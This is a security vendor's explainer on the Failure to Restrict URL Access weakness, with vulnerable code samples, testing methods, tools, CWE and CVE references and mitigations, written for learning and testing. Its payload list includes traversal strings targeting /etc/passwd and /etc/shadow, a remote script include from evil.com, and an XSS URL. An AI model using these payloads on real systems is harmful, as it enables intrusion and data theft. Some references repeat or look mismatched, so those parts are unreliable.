01 Mar, 2023

Failure to Restrict URL Access

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Failure to Restrict URL Access (FTRE) is a security vulnerability that occurs when a web application does not properly enforce restrictions on access to sensitive pages or functionality by unauthenticated or unauthorized users. This can lead to the exposure of confidential data or the execution of unauthorized actions by attackers. FTRE can arise due to a variety of reasons such as improper access control mechanisms, insufficient authentication and authorization checks, or incorrect configuration of server-side security controls.

Example of vulnerable code on different programming languages:


in Python:

				
					@app.route('/admin')
def admin_panel():
    if request.args.get('auth_token') == 'SECRET_TOKEN':
        # Display admin panel
        return render_template('admin.html')
    else:
        # Redirect to login page
        return redirect('/login')

				
			


In this example, the web application checks for the presence of an “auth_token” query parameter to determine if the user is authenticated to access the admin panel. However, this code does not enforce any restrictions on who can access the admin panel. An attacker could simply guess or brute-force the auth token and gain access to sensitive functionality.

• in PHP:

				
					if ($_SESSION['authenticated'] === true) {
    // Display sensitive content
} else {
    header('Location: /login.php');
    exit();
}

				
			


This PHP code checks for a session variable called “authenticated” to determine if the user is authenticated. However, if the web application fails to properly destroy sessions on logout or if an attacker can steal a valid session cookie, they can bypass this check and access the sensitive content without being authenticated.

• in Java:

				
					@RequestMapping("/admin")
public ModelAndView adminPanel(@RequestParam(value = "auth_token") String authToken) {
    if (authToken.equals("SECRET_TOKEN")) {
        // Display admin panel
        return new ModelAndView("admin");
    } else {
        // Redirect to login page
        return new ModelAndView("redirect:/login");
    }
}

				
			


This Java code uses the Spring Framework to check for the presence of an “auth_token” query parameter to determine if the user is authenticated to access the admin panel. However, this code does not enforce any restrictions on who can access the admin panel. An attacker could simply guess or brute-force the auth token and gain access to sensitive functionality.

Examples of exploitation Failure to Restrict URL Access

Unrestricted access to sensitive data:

An attacker could guess or brute-force a valid URL or query parameter that grants access to sensitive data, such as customer data or confidential business information. For example, if a web application has a URL like “example.com/customer/123” to display customer information, an attacker could try guessing different customer IDs until they find a valid one that grants access to sensitive data.

Unauthorized access to functionality:

An attacker could guess or brute-force a valid URL or query parameter that grants access to sensitive functionality, such as an administrative panel or a payment processing page. For example, if a web application has an admin panel at “example.com/admin” with no authentication checks, an attacker could simply guess or brute-force the URL and gain access to the admin panel.

Bypassing authentication and authorization checks:

An attacker could manipulate URLs or query parameters to bypass authentication or authorization checks and gain access to sensitive functionality or data. For example, if a web application checks for an “auth_token” query parameter to determine if a user is authenticated, an attacker could try modifying the parameter or injecting their own to bypass the check and gain access to sensitive functionality.

Session hijacking:

An attacker could steal a valid session cookie from a logged-in user and use it to bypass authentication checks and gain access to sensitive functionality or data. For example, if a web application uses session cookies to authenticate users, an attacker could steal a valid session cookie using techniques such as XSS or CSRF attacks and use it to access sensitive functionality or data without needing to provide valid authentication credentials.

Privilege escalation techniques for Failure to Restrict URL Access

URL parameter manipulation:

An attacker could manipulate the URL or query parameters to gain access to higher levels of functionality or data. For example, if a web application has a URL like “example.com/customer/123” that displays customer information, an attacker could modify the URL to “example.com/customer/123/admin” to try and gain access to administrative functionality related to the customer.

Session fixation:

An attacker could use session fixation to set a valid session ID for a victim user, allowing the attacker to access the victim’s account and privileges. For example, if a web application uses session cookies to authenticate users, an attacker could set a valid session ID for a victim user using a URL that includes the session ID, and then wait for the victim to log in with the same session ID.

Cross-site scripting (XSS):

An attacker could use an XSS vulnerability to inject malicious JavaScript into a web page, allowing them to steal session cookies or other sensitive information. This could allow the attacker to bypass authentication and gain higher levels of access to the system or application.

Cross-site request forgery (CSRF):

An attacker could use a CSRF attack to force a victim user to perform actions on their behalf, such as changing the victim’s password or making unauthorized purchases. This could allow the attacker to gain higher levels of access to the system or application by performing actions that are not authorized for their own account.

General methodology and checklist for Failure to Restrict URL Access

Methodology:

  1. Identify the application’s functionality: Understand the web application’s functionality and identify any areas where user authentication and authorization checks are required.

  2. Identify the URLs and parameters: Identify the URLs and parameters associated with the identified functionality.

  3. Attempt to access the functionality without authentication: Attempt to access the functionality by accessing the URLs and parameters associated with it, without providing any authentication credentials. This can be done manually or through automated tools.

  4. Attempt to access the functionality with incorrect or invalid authentication credentials: Attempt to access the functionality by providing incorrect or invalid authentication credentials, such as a wrong username or password.

  5. Attempt to access the functionality with valid authentication credentials: Attempt to access the functionality with valid authentication credentials, such as a valid username and password, but with different levels of authorization, such as a regular user account or an administrative account.

  6. Try to bypass authentication and authorization checks: Attempt to bypass authentication and authorization checks by manipulating URLs or query parameters, or by using other techniques such as session fixation, XSS or CSRF attacks.

  7. Test for privilege escalation: If any vulnerabilities are found, test for privilege escalation techniques to gain higher levels of access to the system or application.

  8. Document and report any vulnerabilities: Document any vulnerabilities found, including the steps to reproduce them, and report them to the development team for remediation.

  9. Verify remediation: Verify that any reported vulnerabilities have been properly remediated before considering the testing complete.

Cheklist:

  1. Understand the web application’s functionality and identify the different user roles, such as regular users, administrators, or moderators.

  2. Identify the URLs and query parameters associated with the identified functionality, and determine if they are properly restricted based on user roles.

  3. Test each URL and query parameter associated with the identified functionality to determine if it can be accessed without proper authentication and authorization.

  4. Test each URL and query parameter associated with the identified functionality with incorrect or invalid credentials to determine if it is possible to gain unauthorized access.

  5. Test each URL and query parameter associated with the identified functionality with valid credentials for different user roles, such as a regular user account or an administrative account, to determine if proper authorization checks are in place.

  6. Attempt to bypass authentication and authorization checks by manipulating URLs or query parameters, or by using other techniques such as session fixation, XSS or CSRF attacks.

  7. If any vulnerabilities are found, test for privilege escalation techniques to gain higher levels of access to the system or application.

  8. Document any vulnerabilities found, including the steps to reproduce them, and report them to the development team for remediation.

  9. Verify that any reported vulnerabilities have been properly remediated before considering the testing complete.

Tools set for exploiting Failure to Restrict URL Access

Manual Tools:

  • Burp Suite – A comprehensive web application security testing tool that includes features for intercepting and modifying HTTP/S traffic, testing for various vulnerabilities, and reporting findings.

  • ZAP (Zed Attack Proxy) – A free, open-source web application security testing tool that includes features for actively testing for various vulnerabilities, such as FTRE, and reporting findings.

  • Postman – A popular tool for testing and debugging RESTful APIs, which can also be used to manually test web applications for vulnerabilities such as FTRE.

  • Chrome DevTools – A built-in browser debugging tool that includes features for testing web applications and APIs, such as inspecting network requests and modifying headers.

  • Firefox Developer Edition – A web development-focused browser that includes built-in developer tools for testing and debugging web applications, including network and security tools.

Automated Tools:

  • OWASP ZAP – A powerful automated security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Nikto – An open-source web server scanner that can also be used to test web applications for vulnerabilities, including FTRE.

  • Arachni – A modular, open-source web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Vega – An open-source web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Nmap – A popular network scanning tool that includes features for detecting open ports and services on a target system, which can be useful for identifying potential web applications to test for FTRE vulnerabilities.

  • Wapiti – An open-source web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Netsparker – A commercial web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Acunetix – A commercial web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • AppScan – A commercial web application security testing tool that includes features for scanning web applications for various vulnerabilities, including FTRE.

  • Qualys – A cloud-based vulnerability management platform that includes features for scanning web applications for various vulnerabilities, including FTRE.

Browser Plugins:

  • Tamper Data – A Firefox browser plugin that allows for intercepting and modifying HTTP/S requests and responses, which can be useful for testing web applications for FTRE vulnerabilities.

  • LiveHTTPHeaders – A Firefox browser plugin that allows for inspecting and modifying HTTP/S headers, which can be useful for testing web applications for FTRE vulnerabilities.

  • Web Developer – A browser plugin for Firefox, Chrome, and Opera that includes features for testing and debugging web applications, including network and security tools.

  • HackBar – A browser plugin for Firefox that allows for testing and modifying URLs and query parameters, which can be useful for testing web applications for FTRE vulnerabilities.

  • Cookie Manager+ – A browser plugin for Firefox that allows for inspecting and modifying cookies, which can be useful for testing web applications for FTRE vulnerabilities.

Average CVSS score of stack Failure to Restrict URL Access

The average CVSS score for a vulnerability related to Failure to Restrict URL Access may vary depending on the specific implementation and impact of the vulnerability. However, in general, CVSS scores for these types of vulnerabilities tend to be moderate to high severity.

The CVSS score is a numerical value that ranges from 0 to 10, with higher scores indicating more severe vulnerabilities. The score is based on several factors, including the impact on confidentiality, integrity, and availability, as well as the complexity and ease of exploitability of the vulnerability.

For example, a Failure to Restrict URL Access vulnerability that allows an attacker to access sensitive data or functionality without authentication or authorization could have a CVSS score of 7 to 9, indicating a high-severity vulnerability. However, a Failure to Restrict URL Access vulnerability that has limited impact on the application or can only be exploited under specific conditions may have a lower CVSS score.

It’s important to note that CVSS scores should not be the only factor considered when assessing the severity of a vulnerability. Other factors, such as the potential impact on business operations, should also be taken into account.

The Common Weakness Enumeration (CWE)

• CWE-285: Improper Authorization: This CWE is related to vulnerabilities that allow attackers to access resources or functionality that they are not authorized to access.

• CWE-306: Missing Authentication for Critical Function: This CWE is related to vulnerabilities that allow attackers to access critical functionality without proper authentication.

• CWE-862: Missing Authorization: This CWE is related to vulnerabilities that allow attackers to access resources or functionality without proper authorization.

• CWE-724: OWASP Top Ten 2013 Category A5 – Security Misconfiguration: This CWE is related to vulnerabilities that occur due to incorrect configuration of security controls, such as failing to restrict URL access.

• CWE-285: Improper Authorization: This CWE is related to vulnerabilities that allow attackers to access resources or functionality that they are not authorized to access.

• CWE-284: Improper Access Control: This CWE is related to vulnerabilities that allow attackers to access resources or functionality that they should not have access to.

• CWE-285: Improper Authorization: This CWE is related to vulnerabilities that allow attackers to access resources or functionality that they are not authorized to access.

• CWE-732: Incorrect Permission Assignment for Critical Resource: This CWE is related to vulnerabilities that occur when permissions are assigned incorrectly, such as granting too much access to a resource.

• CWE-790: Improper Privilege Management: This CWE is related to vulnerabilities that occur when privileges are not managed correctly, such as granting too much access to a user or role.

• CWE-863: Incorrect Authorization: This CWE is related to vulnerabilities that occur when authorization controls are not implemented or are implemented incorrectly, allowing attackers to access resources or functionality they should not have access to.

CVES related to Failure to Restrict URL Access

• CVE-2017-16787 – The Web Configuration Utility in Meinberg LANTIME devices with firmware before 6.24.004 allows remote attackers to read arbitrary files by leveraging failure to restrict URL access.

• CVE-2017-1191 – An undisclosed vulnerability in CLM applications (including IBM Rational Collaborative Lifecycle Management 4.0, 5.0, and 6.0) with potential for failure to restrict URL Access. IBM X-Force ID: 123661.

Failure to Restrict URL Access exploits

  • Unrestricted File Upload: Attackers can exploit a Failure to Restrict URL Access vulnerability to upload malicious files to the server, which can then be executed to compromise the system.

  • Forced Browsing: Attackers can use a web browser to access resources or functionality that should not be accessible, such as directories or pages that are not linked from the application.

  • Directory Traversal: Attackers can use a Failure to Restrict URL Access vulnerability to navigate to directories or files that should not be accessible, allowing them to view or modify sensitive data.

  • Parameter Tampering: Attackers can modify parameters in URLs or web forms to access resources or functionality that should not be accessible, such as changing the value of an ID parameter to access data for a different user.

  • Access to Unprotected APIs: Attackers can use a Failure to Restrict URL Access vulnerability to access unprotected APIs, which can be used to perform actions or retrieve data that should not be accessible.

  • Account Enumeration: Attackers can use a Failure to Restrict URL Access vulnerability to determine if an account exists on the system by attempting to access resources or functionality that are only accessible to authenticated users.

  • Session Hijacking: Attackers can use a Failure to Restrict URL Access vulnerability to hijack a user’s session by accessing their session ID, allowing them to impersonate the user and perform actions on their behalf.

  • Cross-Site Request Forgery (CSRF): Attackers can use a Failure to Restrict URL Access vulnerability to forge requests that appear to come from a legitimate user, allowing them to perform actions on the user’s behalf without their knowledge.

  • SQL Injection: Attackers can use a Failure to Restrict URL Access vulnerability to inject SQL commands into URLs or web forms, allowing them to retrieve or modify data in the application’s database.

  • Remote Code Execution: Attackers can use a Failure to Restrict URL Access vulnerability to execute arbitrary code on the server, allowing them to take control of the system and perform malicious actions.

Practicing in test for Failure to Restrict URL Access

Set up a test environment: Create a test environment with a web application that is vulnerable to Failure to Restrict URL Access vulnerabilities. You can use a vulnerable web application like Damn Vulnerable Web Application (DVWA), Mutillidae, or WebGoat to practice testing.

Use automated tools: Use automated tools like OWASP ZAP, Burp Suite, or Nmap to scan the web application for Failure to Restrict URL Access vulnerabilities. These tools can identify potential vulnerabilities in the application and help you to understand the scope of the problem.

Use manual testing techniques: Use manual testing techniques to identify Failure to Restrict URL Access vulnerabilities. This can include testing for forced browsing, directory traversal, parameter tampering, and other techniques.

Read and practice with real-world examples: Read about real-world examples of Failure to Restrict URL Access vulnerabilities and try to recreate them in your test environment. This can help you to understand the impact of these vulnerabilities and how they can be exploited.

Attend training or certification courses: Attend training or certification courses like the Certified Ethical Hacker (CEH) or the Offensive Security Certified Professional (OSCP) to gain knowledge and practical skills in identifying and exploiting Failure to Restrict URL Access vulnerabilities.

For study Failure to Restrict URL Access

OWASP Top Ten: Failure to Restrict URL Access: The Open Web Application Security Project (OWASP) Top Ten project lists the top ten web application security risks, including Failure to Restrict URL Access. The project provides a detailed description of the vulnerability, its impact, and mitigation strategies.

Web Application Hacker’s Handbook: The Web Application Hacker’s Handbook by Dafydd Stuttard and Marcus Pinto is a comprehensive guide to web application security testing, including Failure to Restrict URL Access vulnerabilities. The book provides practical examples and step-by-step instructions on how to identify and exploit these vulnerabilities.

Online training courses: There are several online training courses available that cover web application security testing, including Failure to Restrict URL Access vulnerabilities. Some examples include the OWASP Web Security Testing Guide course and the Web Application Penetration Testing course on Udemy.

Practice in a safe environment: Practice identifying and exploiting Failure to Restrict URL Access vulnerabilities in a safe environment, such as a virtual machine or a web application specifically designed for testing, like the Damn Vulnerable Web Application.

Attend conferences and workshops: Attend conferences and workshops focused on web application security to learn from industry experts and network with other professionals. Some examples include OWASP conferences, Black Hat, and DEF CON.

Books with review of Failure to Restrict URL Access

The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard and Marcus Pinto: This book is a comprehensive guide to web application security testing, including Failure to Restrict URL Access vulnerabilities. The book provides practical examples and step-by-step instructions on how to identify and exploit these vulnerabilities.

Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz: This book is a guide to using Python for security testing and penetration testing, including techniques for exploiting Failure to Restrict URL Access vulnerabilities.

Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast by Paco Hope and Ben Walther: This book provides a practical guide to web application security testing, including techniques for testing for Failure to Restrict URL Access vulnerabilities.

Breaking into Information Security: Learning the Ropes 101 by Josh More: This book is a guide to getting started in information security, including topics like web application security and Failure to Restrict URL Access vulnerabilities.

Hands-On Penetration Testing with Python: Enhance your ethical hacking skills to build automated and intelligent systems by Robert Svensson: This book is a guide to using Python for penetration testing, including techniques for identifying and exploiting Failure to Restrict URL Access vulnerabilities.

The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy by Patrick Engebretson: This book provides an introduction to penetration testing and web application security, including techniques for exploiting Failure to Restrict URL Access vulnerabilities.

Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman: This book provides an introduction to penetration testing, including techniques for testing for Failure to Restrict URL Access vulnerabilities.

The Art of Exploitation by Jon Erickson: This book is a comprehensive guide to computer security and exploitation, including techniques for exploiting web application vulnerabilities like Failure to Restrict URL Access.

Web Application Security: A Beginner’s Guide by Bryan Sullivan, Vincent Liu, and Michael Coates: This book provides an introduction to web application security, including techniques for identifying and exploiting Failure to Restrict URL Access vulnerabilities.

Hands-On Web Penetration Testing with Metasploit: Develop your penetration testing skills by mastering Metasploit and its popular modules by Sunil Gupta: This book is a guide to using Metasploit for web application penetration testing, including techniques for exploiting Failure to Restrict URL Access vulnerabilities.

List of payloads Failure to Restrict URL Access

  1. ../ – This payload represents a relative path traversal to access files and directories outside the current directory.

  2. %2e%2e/ – This payload represents a URL-encoded form of the relative path traversal payload.

  3. %252e%252e/ – This payload represents a double URL-encoded version of the relative path traversal payload.

  4. /./ – This payload represents a way to access files and directories in the current directory.

  5. /..;/ – This payload represents an attempt to bypass input validation checks that strip out “../” sequences.

  6. /?file=../../../etc/passwd – This payload attempts to traverse up the directory tree and access sensitive system files like the passwd file.

  7. /?page=../../../etc/shadow – This payload attempts to traverse up the directory tree and access the system’s shadow file, which contains password hashes.

  8. /?path=../../../etc/apache2/apache2.conf – This payload attempts to traverse up the directory tree and access Apache configuration files, which can reveal sensitive information like server settings and virtual hosts.

  9. /?file=http://evil.com/evil.js – This payload attempts to include an external script from a malicious website, which can be used to execute arbitrary code on the victim’s browser.

  10. /?url=javascript:alert(‘XSS’) – This payload attempts to inject a script into the page, which can be used to execute a cross-site scripting (XSS) attack.

How to be protected from Failure to Restrict URL Access

  1. Validate and sanitize user input: Always validate and sanitize any user input that is used to construct URLs or file paths. This can help prevent directory traversal attacks.

  2. Use a whitelist approach: Use a whitelist approach to restrict the characters that are allowed in URLs and file paths. This can help prevent attacks that rely on URL encoding and other techniques to bypass input validation.

  3. Implement access controls: Implement access controls to restrict access to sensitive files and directories. This can help prevent unauthorized access and limit the impact of a successful attack.

  4. Use secure coding practices: Follow secure coding practices, such as using parameterized queries and prepared statements when interacting with databases, to reduce the risk of injection attacks.

  5. Keep software up-to-date: Keep software up-to-date with the latest security patches and updates. This can help prevent known vulnerabilities from being exploited.

  6. Use web application firewalls: Implement a web application firewall (WAF) to monitor and filter incoming traffic. A WAF can help block attacks that exploit Failure to Restrict URL Access vulnerabilities.

  7. Conduct regular security testing: Conduct regular security testing, including penetration testing and vulnerability scanning, to identify and remediate any vulnerabilities in your web applications.

Mitigations for Failure to Restrict URL Access

  1. Input validation: Validate and sanitize user input to ensure that it only contains expected characters and does not include any malicious code or URL-encoded sequences.

  2. Access controls: Implement access controls to restrict access to sensitive files and directories. This can include using file system permissions, web server configurations, and application-level access controls.

  3. Whitelist approach: Use a whitelist approach to restrict the characters that are allowed in URLs and file paths. This can help prevent attacks that rely on URL encoding and other techniques to bypass input validation.

  4. Least privilege: Ensure that applications and users have only the necessary privileges to perform their intended functions. This can help prevent unauthorized access and limit the impact of a successful attack.

  5. Error messages: Avoid disclosing sensitive information in error messages or other feedback that is provided to users. This can help prevent attackers from learning more about the system and how to exploit it.

  6. Security testing: Conduct regular security testing, including penetration testing and vulnerability scanning, to identify and remediate any vulnerabilities in your web applications.

Conclusion

Failure to Restrict URL Access is a serious security vulnerability that can allow attackers to gain unauthorized access to sensitive files and directories on a web server. This vulnerability can be caused by a variety of factors, including inadequate input validation, lack of access controls, and the use of insecure coding practices.

To protect against Failure to Restrict URL Access vulnerabilities, it is important to follow secure coding practices, such as input validation, access controls, and the use of a whitelist approach. Additionally, regular security testing can help identify and remediate vulnerabilities in your web applications.

If you suspect that your web application may be vulnerable to Failure to Restrict URL Access attacks, it is important to take action to mitigate the vulnerability as soon as possible. Failure to do so can result in unauthorized access, data breaches, and other serious security incidents that can have a significant impact on your organization.

Other Services

Ready to secure?

Let's get in touch